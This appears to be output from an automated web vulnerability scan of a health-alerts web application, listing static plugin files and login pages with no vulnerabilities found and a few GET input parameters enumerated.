URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/spring-security-ui-1.0-RC2/css/smoothness/jquery-ui-1.10.3.custom.css">https://18f-ads.noblis.org/myHealthAlerts/plugins/spring-security-ui-1.0-RC2/css/smoothness/jquery-ui-1.10.3.custom.css</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/spring-security-ui-1.0-RC2/css/smoothness/images/">https://18f-ads.noblis.org/myHealthAlerts/plugins/spring-security-ui-1.0-RC2/css/smoothness/images/</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/spring-security-ui-1.0-RC2/js/">https://18f-ads.noblis.org/myHealthAlerts/plugins/spring-security-ui-1.0-RC2/js/</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/spring-security-ui-1.0-RC2/js/jquery/">https://18f-ads.noblis.org/myHealthAlerts/plugins/spring-security-ui-1.0-RC2/js/jquery/</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/spring-security-ui-1.0-RC2/js/jquery/jquery.jgrowl.js">https://18f-ads.noblis.org/myHealthAlerts/plugins/spring-security-ui-1.0-RC2/js/jquery/jquery.jgrowl.js</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/spring-security-ui-1.0-RC2/js/jquery/jquery.checkbox.js">https://18f-ads.noblis.org/myHealthAlerts/plugins/spring-security-ui-1.0-RC2/js/jquery/jquery.checkbox.js</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL

URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/spring-security-ui-1.0-RC2/js/spring-security-ui.js">https://18f-ads.noblis.org/myHealthAlerts/plugins/spring-security-ui-1.0-RC2/js/spring-security-ui.js</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/jquery-1.11.1/js/">https://18f-ads.noblis.org/myHealthAlerts/plugins/jquery-1.11.1/js/</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/jquery-1.11.1/js/jquery/">https://18f-ads.noblis.org/myHealthAlerts/plugins/jquery-1.11.1/js/jquery/</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/plugins/jquery-1.11.1/js/jquery/jquery-1.11.1.min.js">https://18f-ads.noblis.org/myHealthAlerts/plugins/jquery-1.11.1/js/jquery/jquery-1.11.1.min.js</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/js/">https://18f-ads.noblis.org/myHealthAlerts/js/</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/js/select2.js">https://18f-ads.noblis.org/myHealthAlerts/js/select2.js</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/login">https://18f-ads.noblis.org/myHealthAlerts/login</a>
No vulnerabilities have been identified for this URL
No input(s) found for this URL
URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/login/authfail">https://18f-ads.noblis.org/myHealthAlerts/login/authfail</a>
No vulnerabilities have been identified for this URL
1 input(s) found for this URL

## Inputs

Input scheme 1	
Input name	Input type
login_error	URL encoded GET

URL: <a href="https://18f-ads.noblis.org/myHealthAlerts/login/auth">https://18f-ads.noblis.org/myHealthAlerts/login/auth</a>
No vulnerabilities have been identified for this URL
3 input(s) found for this URL

## Inputs

Input scheme 1	
Input name	Input type
format	URL encoded GET
login_error	URL encoded GET
Input scheme 2	
Input name	Input type
format	URL encoded GET